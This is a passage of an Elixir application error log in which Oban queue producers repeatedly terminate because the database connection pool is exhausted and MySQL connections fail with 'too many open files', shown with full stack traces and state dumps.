#Reference<0.2525715032.1077673987.12480>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:57:14.247888Z], limit: 3, uuid: "296d85ad-bab0-461c-8969-36e97736691f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:14.247894Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147620>, refresh_timer: #Reference<0.2525715032.1099431938.37641>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:57:14.242827Z], limit: 5, uuid: "5b38de6b-e85b-4af8-b56a-7ab150fa79dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:14.245353Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147625>, refresh_timer: #Reference<0.2525715032.1068498948.40407>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:57:14.241246Z], limit: 10, uuid: "4f4c4402-cdc3-41da-9c31-ecc0568c894c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:14.241252Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147622>, refresh_timer: #Reference<0.2525715032.1077673987.12444>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:57:14.241548Z], limit: 5, uuid: "bc2fcda4-abcf-41d0-98ba-018b8e88f91e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:14.241553Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147623>, refresh_timer: #Reference<0.2525715032.1077673987.12460>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:26.289000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:26.763000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:34.605000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:57:26.238693Z], limit: 50, uuid: "2ef1f083-8c1b-4e42-8cee-e766de952e8c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:26.238700Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.12622>, refresh_timer: #Reference<0.2525715032.1077673987.12621>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:57:26.238808Z], limit: 20, uuid: "cd330538-0864-4791-b188-5ef97822816c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:26.238813Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148001>, refresh_timer: #Reference<0.2525715032.1121189889.147995>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:57:26.239217Z], limit: 3, uuid: "49d1ef05-8b98-411d-b48c-a44404492561", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:26.239222Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148062>, refresh_timer: #Reference<0.2525715032.1121189889.148013>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:57:26.240409Z], limit: 10, uuid: "67edba3b-8abc-416a-b689-e13a5f23df80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:26.240416Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148060>, refresh_timer: #Reference<0.2525715032.1121189889.148028>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:57:26.241181Z], limit: 5, uuid: "e8f0dc81-2062-4b76-89d7-a568279425eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:26.241186Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148063>, refresh_timer: #Reference<0.2525715032.1099431938.37696>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
